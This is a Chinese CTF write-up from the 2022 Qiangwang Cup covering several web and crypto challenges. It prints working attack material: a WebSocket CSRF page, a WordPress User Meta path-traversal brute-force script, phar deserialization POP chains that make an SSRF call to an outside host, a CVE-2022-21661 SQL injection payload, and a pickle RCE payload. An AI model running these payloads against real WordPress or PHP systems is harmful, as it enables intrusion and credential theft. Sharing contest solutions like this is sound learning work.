前言:
由于是大比赛还是开篇感慨两句。我对比赛题目的评价是赞不绝口。这次作为[纯情女色大学生]的队长,带领团队(基本上就我和2个web一个密码在做)完成了rcefile,babyweb,wp-um,polydiv,而ez_login,密码签到,ez_web差点出了,很是遗憾,再接再厉吧
改content-type后可以上传txt
showfile那里可以看到参数在cookie处
userfile=a%3A1%3A%7Bi%3A0%3Bs%3A36%3A%229023ac8a2a5fc8dc0c4ad0d7bd5f4c86.txt%22%3B%7D
扫描目录,可以看到www.zip
其实是p文
https://www.leavesongs.com/penetration/sangebaimao-2015-11-12-ctf.html
先上传含有恶意代码的inc文件
随后修改cookie,让其反序列化的时候触发spl_autoload_register
注册登录后,可以看到机器人,怀疑csrf之类
https://medium.com/@osamaavvan/exploiting-websocket-application-wide-xss-csrf-66e9e2ac8dfa
很像这个
机器人访问没有同源策略的限制
所以直接在vps上放下面这个,让admin自己改密码,我思路局限了,一直以为要xss(其实这也是xss,非同源)
<script>
var url = "ws://" + "127.0.0.1:8888" + "/bot";
var ws = new WebSocket(url);
ws.onopen = function(e) {
ws.send("changepw 123456");
}
</script>
Copy
echo "< script > var ws = new WebSocket(\ "ws://127.0.0.1:8888/bot\");ws.onopen = function(e){ws.send(\"changepw 666\");} </ script > " > index.html
随后bugreport http://8.129.42.140
接着可以admin:666登录,csrf一波
然后有hint,下载后是源码
仔细审计,发现显然有漏洞,前面用的是
data = request.get_json()
Copy
后面就变成了
data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
Copy
变成了request.get_data()[1:],而且这个切片居然不是从0开始,赤裸裸的暗示
get_json的特点是如果json中出现同一个键的值,后者将覆盖前者,get_data则都会获取到
本地测试一下
Demo
from flask import Flask,request
app = Flask(__name__)
@app.route("/buy", methods=['POST'])
def buy():
data = request.get_json()
print(data)
data2 = request.get_data()[1:]
print(data2)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
Copy
app.py使用get_json,后者会覆盖前者,可以用于绕过num error,而go这里使用get_data,那么遍历的时候必然出现把-1拿去运算让钱变多的情况
Payload
{"product":[{"id":1,"num":0},{"id":2,"num":-1}],
"product":[{"id":1,"num":0},{"id":2,"num":0}]}
Copy
def __truediv__ ( self,other ):
a,b = self.param[::-1 ],other.param[::-1 ]
r = [0 for i in range (len (a) - len (b) + 1 )]
for i in range (len (r)):
if a[i]==1 :
r[i]=1
for j in range (len (b)):
a[i+j]=(a[i+j]+b[j])%2
return Polynomial2(r)
from pwn import *
import time
import string
import hashlib
import re
from poly2 import *
context.log_level='debug'
context.terminal = ['/usr/bin/tmux' , 'splitw' , '-h' ]
class Violent :
def get ( self, target1, target2 ):
d = string.ascii_letters + string.digits
for i in d:
for j in d:
for k in d:
for m in d:
target = i+j+k+m+target1
ret = hashlib.sha256(target.encode()).hexdigest()
if (ret == target2):
return i+j+k+m
def getExponent ( string ):
string=string.decode()
res=re.findall(r"\d+" ,string)
for i in range (len (res)):
if res[i]=='1' :
res[i]=0
else :
res[i]=int (res[i])
for i in range (len (string)):
if string[i]=='x' and string[i+1 ] != '^' and string[i+1 ] != ')' :
res.append(1 )
break
return res
vio = Violent()
host = '47.104.76.78'
port = 23334
while (1 ):
nc = remote(host, port)
nc.recvuntil('sha256(XXXX+' )
target1 = nc.recv(16 )
nc.recvuntil('== ' )
target2 = nc.recv(64 )
nc.recv()
nc.sendline(vio.get(target1.decode(), target2.decode()))
for a1 in range (40 ):
res1=nc.recvline();
res2=nc.recvline();
res3=nc.recvline();
res=nc.recvline();
res1=getExponent(res1)
res2=getExponent(res2)
res3=getExponent(res3)
print(res1,res2,res3)
Pr=Poly(res1)
Pa=Poly(res2)
Pc=Poly(res3)
Pr=Pr-Pc
print(Pr)
Pb=Pr/Pa
nc.sendline((Pb.__str__()).encode())
res=nc.recvline();
nc.interactive()
nc.close()
题目的暗示1
猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。
并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n
这几天他发现了一个特别好用的wordpress插件,在他开心的时候,可是倒霉的猫哥却不知道危险的存在。
解读:用户名密码在特定目录下,wordpress插件有洞
题目的暗示2
另外,猫哥有些私密信息被他隐藏在了某个小角落。你能找到它吗?猫哥的私密信息的格式是flag{},小心被猫哥发现哦!
解读:flag的格式给出了
找到一个用户名MaoGePaMao
插件在这个目录中wp-content/plugins/
插件居然是Hello Dolly1.7.2 ,这玩意能有洞?不太可能
插件还有User Meta - User Profile Builder and User management 2.4.3 用户权限登录这些
插件还有Akismet Spam Protection 4.2.4 反垃圾评论
锁定在User Meta 2.4.3
从wp官网得知
2.4.4
Fix: Security fix for file upload path traversal
所以就是目录穿越漏洞,如果可以穿的话,直接爆破username和password文件名就可以出admin账密
先注册账号获得订阅者的身份,然后在upload界面上传文档,上传后会有更改路径的请求,截取后做如下修改,参考https://www.zilyun.com/23036.html
找到文件会返回um_remove_file
那么就差个爆破脚本
脚本
import requests
url = "http://eci-2zeao4g9p62zgdb5p22a.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"
headers = {
"cookie" : "wordpress_154c35e4c1481106cd83199d9a222506=thai1%7C1659410717%7CmLoQ7b1JRcjssxj9qyptp5WRvxSOFTSnmsOlTLgIMTv%7C48dda60795fdf5cf4ad99d7d9c898f0a0d409af55b3e1127b735eb26ba73f42c; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1658145704; wordpress_logged_in_154c35e4c1481106cd83199d9a222506=thai1%7C1659410717%7CmLoQ7b1JRcjssxj9qyptp5WRvxSOFTSnmsOlTLgIMTv%7C89e7a880ae0017f0713acceaf9c106a3f00db397b23fb4e6e0f38286c232ebf2"
}
proxies = { "http" : None , "https" : None }
username = ''
for num in range (1 ,16 ):
flag = 1
for i in range (65 ,91 ):
data={
"field_name" :"upload" ,
"filepath" :"/../../../../../../../../password/" +str (num)+chr (i),
"field_id" :"um_field_2" ,"form_key" :"upload" ,"action" :"um_show_uploaded_file" ,
"pf_nonce" :"4b2836007f" ,"is_ajax" :"true"
}
r = requests.post(url=url,headers=headers,data=data)
print("test " +chr (i)+" ................" )
if "um_remove_file" in r.text:
print("[*]It must be this: " +chr (i))
username = username + chr (i)
flag = 0
break
if flag == 0 :
continue
for i in range (97 ,123 ):
data={
"field_name" :"upload" ,
"filepath" :"/../../../../../../../../password/" +str (num)+chr (i),
"field_id" :"um_field_2" ,"form_key" :"upload" ,"action" :"um_show_uploaded_file" ,
"pf_nonce" :"4b2836007f" ,"is_ajax" :"true"
}
r = requests.post(url=url,headers=headers,data=data)
print("test " +chr (i)+" ................" )
if "um_remove_file" in r.text:
print("[*]It must be this: " +chr (i))
username = username + chr (i)
break
print("now username is " +username)
print("***************" )
print("[*]username : " +username)
Copy
username:MaoGePaMao
password:MaoGeYaoQiFeiLa
蚁剑上去后,看日志,提权什么的很难实现,find命令又超时了,只能瞎找下,还好不难找
showfile.php?f=xxx
这个应该是可以文件包含的,多次尝试后可以这样绕过waf读到etc/passwd,坑点就是直接看页面很难看出读到文件时的回显,burp效果很好
showfile.php?f=guest/../../../../etc/passwd
Copy
就是 任意目录名/../
,这样相当于还在当前目录,但是能绕白名单
WM有一种办法,buu的老考点:/showfile.php?f=php://filter/read=demo.jpg/resource=index.php
读源码,有index.php,class.php,showfile.php
/showfile.php?f=guest/../class.php
Copy
审计一下看到
很容易联想到ssrf,那就要内网信息搜集下
读了hosts,是这样的
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.2 3b35825919ae
10.10.10.5 3b35825919ae
Copy
赛后复现的时候,看到别的师傅读的是/proc/net/arp,就是记录连接过的内网ip和mac
IP address HW type Flags HW address Mask Device
10 .10 .10 .22 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .34 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .31 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .43 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .48 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .14 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .23 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .35 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .28 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .40 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .49 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .6 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .15 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .20 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .32 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .29 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .41 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .7 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .12 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .21 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .33 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .26 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .4 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .13 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .18 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .46 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .27 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .10 0 x1 0 x2 02 :42 :0 a:0 a:0 a:0 a * eth1
10 .10 .10 .38 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .19 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .47 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .24 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .2 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .101 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .11 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .39 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .16 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .44 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .25 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .3 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .8 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .36 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .17 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .45 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .50 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .59 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .9 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .37 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .30 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
10 .10 .10 .42 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth1
172 .18 .0 .111 0 x1 0 x0 00 :00 :00 :00 :00 :00 * eth0
172 .18 .0 .1 0 x1 0 x2 02 :42 :18 :cb:f4 :43 * eth0
10 .10 .10 .1 0 x1 0 x2 02 :42 :b8 :04 :a4 :6 e * eth1
mac不是00的,说明不是虚拟的ip,有如下几个真实Ip
10.10.10.1, 172.18.0.1 ,10.10.10.10
10.10.10.1这个一般代表本地回环,也就是自己的ip,那么和他同段的地址只有10.10.10.10,分析一下咱就找到了内网靶机ip
在审计那个题class.php的时候发现和nss《再见辛丑》的题的链子是很类似,赛后问了Aurora的队长得知还可以使用引用来写pop链,同时看了null的链子,发现wakeup可以直接绕过(这应该是正解,因为这题的分值其实不高)。总结至少有以下有三种pop链:
再见辛丑魔改链子,全版本通用,但是比较烧脑
引用,全版本通用,比上面短
绕过wakeup,PHP5 < 5.6.25 PHP7 < 7.0.10,很容易写
前两种都是绕过覆盖进行绕过__wakeup,说人话就是对象被反序列化,触发wakeup后,我们还有魔术方法能重新把变量覆写,再触发恶意方法。
再见辛丑的魔改链,大家可以去b站看X尼的教学视频自学,讲的超棒
GuestShow::__destruct->GuestShow::__toString->AdminShow::__get
GuestShow::__destruct->Guestshow::__toString->Upload::->get->Upload::__toString->Upload::__get
poc (miku和清辉师傅魔改的,本地亲测有效,序列化的时候会触发,反序列化也会)
<?php
class Upload {
public $file ;
public $filesize ;
public $date ;
public $tmp ;
function __construct ( ) {
$this ->file = $_FILES ["file" ];
}
function do_upload ( ) {
$filename = session_id().explode("." ,$this ->file["name" ])[0 ].".jpg" ;
if (file_exists($filename )) {
unlink($filename );
}
move_uploaded_file($this ->file["tmp_name" ],md5("2022qwb" .$_SERVER ['REMOTE_ADDR' ])."/" .$filename );
echo 'upload ' ."./" .md5("2022qwb" .$_SERVER ['REMOTE_ADDR' ])."/" .$this ->e($filename ).' success!' ;
}
function e ( $str ) {
return htmlspecialchars($str );
}
function upload ( ) {
if ($this ->check()) {
$this ->do_upload();
}
}
function __toString ( ) {
return $this ->file["name" ];
}
function __get ( $value ) {
$this ->filesize->$value = $this ->date;
echo $this ->tmp;
}
function check ( ) {
$allowed_types = array ("jpg" ,"png" ,"jpeg" );
$temp = explode("." ,$this ->file["name" ]);
$extension = end($temp );
if (in_array($extension ,$allowed_types )) {
return true ;
}
else {
echo 'Invalid file!' ;
return false ;
}
}
}
class GuestShow {
public $file ;
public $contents ;
public function __construct ( $file )
{
$this ->file=$file ;
}
function __toString ( ) {
$str = $this ->file->name;
return "" ;
}
function __get ( $value ) {
return $this ->$value ;
}
function show ( )
{
$this ->contents = file_get_contents($this ->file);
$src = "data:jpg;base64," .base64_encode($this ->contents);
echo "<img src= {$src} />" ;
}
function __destruct ( ) {
echo $this ;
}
}
class AdminShow {
public $source ;
public $str ;
public $filter ;
public function __construct ( $file )
{
$this ->source = $file ;
$this ->schema = 'file:///var/www/html/' ;
}
public function __toString ( )
{
$content = $this ->str[0 ]->source;
$content = $this ->str[1 ]->schema;
return $content ;
}
public function __get ( $value ) {
$this ->show();
return $this ->$value ;
}
public function __set ( $key , $value ) {
$this ->$key = $value ;
}
public function show ( ) {
if (preg_match('/usr|auto|log/i' , $this ->source))
{
die ("error" );
}
$url = $this ->schema . $this ->source;
$curl = curl_init();
curl_setopt($curl , CURLOPT_URL, $url );
curl_setopt($curl , CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($curl , CURLOPT_HEADER, 1 );
$response = curl_exec($curl );
curl_close($curl );
$src = "data:jpg;base64," .base64_encode($response );
echo "<img src= {$src} />" ;
}
}
$a = new GuestShow('1.txt' );
$a1 = new GuestShow('1.txt' );
$b = new Upload();
$b1 = new Upload();
$b2 = new Upload('' );
$c = new AdminShow('' );
$c1 = new AdminShow('' );
$a ->file = $b ;
$a1 ->file = $c1 ;
$b ->tmp = $c ;
$b1 ->date = "http://8.129.42.140:3307" ;
$b2 ->date = '' ;
$b2 ->tmp = $a1 ;
$c ->str[0 ] = $b1 ;
$c ->str[1 ] = $b2 ;
$b1 ->filesize = $c1 ;
$b2 ->filesize = $c1 ;
$phar = new Phar('mikus.phar' );
$phar ->startBuffering();
$phar ->addFromString('test.txt' , 'text' );
$phar ->setStub('<?php __HALT_COMPILER(); ? >' );
$phar ->setMetadata($a );
$phar ->stopBuffering();
引用
poc (Aurora队长Jacko大牛写的,太强了)
可以看原文2022强网杯 (wolai.com)
<?php
class Upload {
public $file ;
public $filesize ;
public $date ;
public $tmp ;
function __construct ( ) {
$this ->file = $_FILES ["file" ];
}
function do_upload ( ) {
$filename = session_id().explode("." ,$this ->file["name" ])[0 ].".jpg" ;
if (file_exists($filename )) {
unlink($filename );
}
move_uploaded_file($this ->file["tmp_name" ],md5("2022qwb" .$_SERVER ['REMOTE_ADDR' ])."/" .$filename );
echo 'upload ' ."./" .md5("2022qwb" .$_SERVER ['REMOTE_ADDR' ])."/" .$this ->e($filename ).' success!' ;
}
function e ( $str ) {
return htmlspecialchars($str );
}
function upload ( ) {
if ($this ->check()) {
$this ->do_upload();
}
}
function __toString ( ) {
return $this ->file["name" ];
}
function __get ( $value ) {
$this ->filesize->$value = $this ->date;
echo $this ->tmp;
}
function check ( ) {
$allowed_types = array ("jpg" ,"png" ,"jpeg" );
$temp = explode("." ,$this ->file["name" ]);
$extension = end($temp );
if (in_array($extension ,$allowed_types )) {
return true ;
}
else {
echo 'Invalid file!' ;
return false ;
}
}
}
class GuestShow {
public $file ;
public $contents ;
public function __construct ( $file )
{
$this ->file=$file ;
}
function __toString ( ) {
$str = $this ->file->name;
return "" ;
}
function __get ( $value ) {
return $this ->$value ;
}
function show ( )
{
$this ->contents = file_get_contents($this ->file);
$src = "data:jpg;base64," .base64_encode($this ->contents);
echo "<img src= {$src} />" ;
}
function __destruct ( ) {
echo $this ;
}
}
class AdminShow {
public $source ;
public $str ;
public $filter ;
public function __construct ( $file )
{
$this ->source = $file ;
$this ->schema = 'file:///var/www/html/' ;
}
public function __toString ( )
{
$content = $this ->str[0 ]->source;
$content = $this ->str[1 ]->schema;
return $content ;
}
public function __get ( $value ) {
$this ->show();
return $this ->$value ;
}
public function __set ( $key , $value ) {
$this ->$key = $value ;
}
public function show ( ) {
if (preg_match('/usr|auto|log/i' , $this ->source))
{
die ("error" );
}
$url = $this ->schema . $this ->source;
$curl = curl_init();
curl_setopt($curl , CURLOPT_URL, $url );
curl_setopt($curl , CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($curl , CURLOPT_HEADER, 1 );
$response = curl_exec($curl );
curl_close($curl );
$src = "data:jpg;base64," .base64_encode($response );
echo "<img src= {$src} />" ;
}
public function __wakeup ( )
{
if ($this ->schema !== 'file:///var/www/html/' ) {
$this ->schema = 'file:///var/www/html/' ;
}
if ($this ->source !== 'admin.png' ) {
$this ->source = 'admin.png' ;
}
}
}
这里最终的$url会变成file:///etc/passwd#admin.php。用户可控的点再Upload->data这
说一下调用链:
g2::desturct->g2::toString->a2::get(里面有个show())->a2::show
这个show不仅可以用于ssrf,这里还有个点运算符可以触发tosting方法。
$url = $this ->schema . $this ->source;
而前面$a2->schema = &$a1->name;name一开始赋值是"yyy" ,注意这里的$a1是引用,后面改变$a1->name,这个$a2->schema也会跟着一起变化;
此外我们还看到
$a2->source=$g1, $g1->file=$u, $u->filesize和tmp都是$a1
所以
$url = $this ->schema . $this ->source;
中的$this->source
触发tostring的时候,
g1::tostring->$u::get(并且可以看到$value就是'name')
所以等价于
这个值被赋值为$this->data="file:///var/www/html/"
这个值由于在最后一步的时候是$a1->name=$this->data="file:///var/www/html/",而联想到前面又说了后面改变$a1->name,这个$a2->schema也会跟着一起变化
所以就成了!
wakeup绕过,建议参考
强网杯 WriteUp By Nu1L (qq.com)
(??结果发现null战队好像没有写细节)
其实就是CVE-2016-7124
null战队这个脚本我自己是跑不通的(希望有师傅教我),不过他意思应该是用的这个方法,如果是我做的话,还要
1.用010editor把属性数量修改为比真实属性数量大的数
2.修改数字签名
有个改数字签名的脚本
import gzip
from hashlib import sha1
file = open ("nss.phar" ,"rb" ).read()
text = file[:-28 ]
last = file[-8 :]
new_file = text+sha1(text).digest() + last
open ("nss2.phar" ,"wb" ).write(new_file)
随后上传即可
这里就不展开了
上传时注意到要让服务器为我们添加session,不然就被ban
浅谈 SESSION_UPLOAD_PROGRESS 的利用 - 先知社区 (aliyun.com)
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。
<form action="http://47.104.95.124:8080/" method="POST" enctype="multipart/form-data" >
<input type ="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" >
<input type ="file" name="file" >
<input type ="submit" value="submit" >
</form>
可以看到,上传成功了
之后访问10.10.10.10有个php-fpm,ghoper打9000端口就有flag,由于没有环境就没复现了
前言:这个题不知道官解是怎么样的,目前得到的解法是通过sql注入找到未过期的session进行登录,当个人认为这也应该要弄个管理员持续访问才好。这次了解了wordpress的数据库目录结构WordPress 数据库详解(是什么,创建、备份和恢复等) – WordPress大学 (wpdaxue.com) ,moodle的数据库目录结构https://docs.moodle.org/en/Development:Database_schema_introduction,但最终这个moodle.mdl_sessions根本不是系统默认的,呵呵,由于存在封ip已经数据表奇多无比的背景,只能人海战术手注或者sqlmap,这对我的战队很不利。
wpscan扫到的版本是
[+] WordPress version 5.8.2 identified (Insecure, released on 2021-11-10)
Copy
搜一下能找到期末那会爆出的CVE-2022-21661,就是wp的sql漏洞
payload
http://47.104.251.7/wp-admin/admin-ajax.php
action =aa&query_vars[tax_query][1 ][include_children]=1 &query_vars[tax_query][1 ][terms][1 ]=1 ) or updatexml(0 x7 e,concat(1 ,(select group_concat(sid) from moodle.mdl_sessions where id =3 )),0 x7 e)#&query_vars[tax_query][1 ][field]=term_taxonomy_id
然后这里是可以查到session的,就是你cookie的值,只要这个session未失效就可借此登录
于是这题变成一道运气成分很大的题...
登录以后可以在后台利用一些上传webshell的操作
编码绕过+无R的rce
import base64
data=b'''(cbuiltins
exec
S'c="import admin;admin.s\\x65cret='thaii'";exec(c)'
o.'''
print(base64.b64encode(data))
输出
b 'KGNidWlsdGlucwpleGVjClMnYz0 iaW1 wb3 J0 IGFkbWluO2 FkbWluLnNceDY1 Y3 JldD0 ndGhhaWknIjtleGVjKGMpJwpvLg=='
然后去Login
在balancer那里把刚刚登录给的session拷贝到hackbar新增的cookie里,还要添加userdata=KGNidWlsdGlucwpleGVjClMnYz0iaW1wb3J0IGFkbWluO2FkbWluLnNceDY1Y3JldD0ndGhhaWknIjtleGVjKGMpJwpvLg==
,之间分号隔开
请求第一次rce污染secret=thaii,下一次就直接用原来的cookie访问balancer即可(直接把hackbar的cookie那个勾取消,这样很方便)
登录进去后,可以看到负载均衡的页面
提示:flag in 504 page
这个地方就有点脑洞了,因为本身这个界面就很抽象,想象一下,如果我们这样输入:
最后后者可以504
但是似乎复现一次环境就被破坏了
https://blog.soreatu.com/posts/analysis-of-cve-2022-21449-bypass-java-signature-check-by-two-zeros/
web手写java密码题还能怎么样,只能逆回去呗
byte [] newsig = new byte [16 ];
System.out.println (new String(Base64.getUrlEncoder().encode(newsig),StandardCharsets.ISO_8859_1));
可惜了,这题最后慢了7分钟,然后我才发现要110名才有优胜奖,淦!